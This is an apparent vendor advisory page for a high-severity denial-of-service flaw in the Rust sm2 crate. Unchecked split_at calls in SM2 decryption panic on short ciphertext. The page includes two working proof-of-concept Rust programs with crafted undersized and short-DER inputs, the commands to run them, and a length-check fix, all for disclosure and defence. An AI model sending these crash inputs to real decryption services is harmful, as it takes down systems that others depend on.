Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀
🦀 crates.io
Not in CISA KEV
HIGH severity

GHSA-j9xq-69pf-pcm8 sm2

HIGHFix: RustCrypto/elliptic-curves#1603

GHSA-j9xq-69pf-pcm8 is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in sm2. No vendor fix is recorded yet; mitigation options are listed below.

RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE

Also known asCVE-2026-22700
Published
Jan 13, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-j9xq-69pf-pcm8.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs23th percentile — riskier than 23% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-j9xq-69pf-pcm8 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🦀sm2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

  • examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

    //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
    //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
    //!
    //! Usage:
    //!   cargo run --example poc_short_ciphertext
    
    use rand_core::OsRng;
    
    use sm2::pke::DecryptingKey;
    use sm2::SecretKey;
    
    fn main() {
        // Generate a normal secret key and DecryptingKey instance.
        let mut rng = OsRng;
        let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
        let dk = DecryptingKey::new(sk);
    
        // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
        let short_ciphertext = vec![0u8; 10]; // deliberately too short
    
        println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
    
        // The panic is the PoC for the lack of length validation.
        let _ = dk.decrypt(&short_ciphertext);
    
        // If the library were robust, this line would be reached and decrypt would return Err.
        println!("decrypt returned (unexpected) - PoC did not panic");
    }
    
  • examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

    //! Usage:
    //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
    
    use rand_core::OsRng;
    use sm2::SecretKey;
    use sm2::pke::DecryptingKey;
    
    fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
        // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
        let mut body = Vec::new();
    
        // INTEGER x
        body.push(0x02);
        body.push(x.len() as u8);
        body.extend_from_slice(x);
    
        // INTEGER y
        body.push(0x02);
        body.push(y.len() as u8);
        body.extend_from_slice(y);
    
        // OCTET STRING digest (intentionally tiny)
        body.push(0x04);
        body.push(digest.len() as u8);
        body.extend_from_slice(digest);
    
        // OCTET STRING cipher (intentionally tiny)
        body.push(0x04);
        body.push(cipher.len() as u8);
        body.extend_from_slice(cipher);
    
        // SEQUENCE header
        let mut der = Vec::new();
        der.push(0x30);
        der.push(body.len() as u8);
        der.extend(body);
        der
    }
    
    fn main() {
        let mut rng = OsRng;
        let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
        // Extract recipient public key coordinates before moving the secret key into DecryptingKey
        let pk = sk.public_key();
        let dk = DecryptingKey::new(sk);
        // get SEC1 encoding 0x04 || X || Y and slice out X and Y
        let sec1 = pk.to_sec1_bytes();
        let sec1_ref: &[u8] = sec1.as_ref();
        let x = &sec1_ref[1..33];
        let y = &sec1_ref[33..65];
        // Very small digest and cipher to trigger length-based panics inside decrypt()
        let digest = [0x33u8; 1];
        let cipher = [0x44u8; 1];
    
        let der = build_der(x, y, &digest, &cipher);
    
        println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
    
        // Expected to panic inside decrypt() due to missing length checks when splitting
        let _ = dk.decrypt_der(&der);
    
        println!("decrypt_der returned (unexpected) - PoC did not panic");
    }
    

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

  • Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
  • Low attacker effort: crafting short inputs or small DER octet strings is trivial.
  • Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab

  • Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is [email protected].

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🦀crates.iosm20.14.0-pre.0No fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of sm2 has shipped for GHSA-j9xq-69pf-pcm8 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-j9xq-69pf-pcm8 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-j9xq-69pf-pcm8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the `decrypt()` path performs unchecked `slice::split_at` operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. ### Affected Component / Versions - File: `src/pke/decrypting.rs` - Functions: `DecryptingKey::decrypt_digest/decrypt/decrypt_der`, internal `decrypt()` implementation - Affected
O3 Security · Impact-Aware SCA

Is GHSA-j9xq-69pf-pcm8 in your dependencies?

O3 Security finds GHSA-j9xq-69pf-pcm8 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-j9xq-69pf-pcm8: sm2 DoS (High 7.5) | O3 Security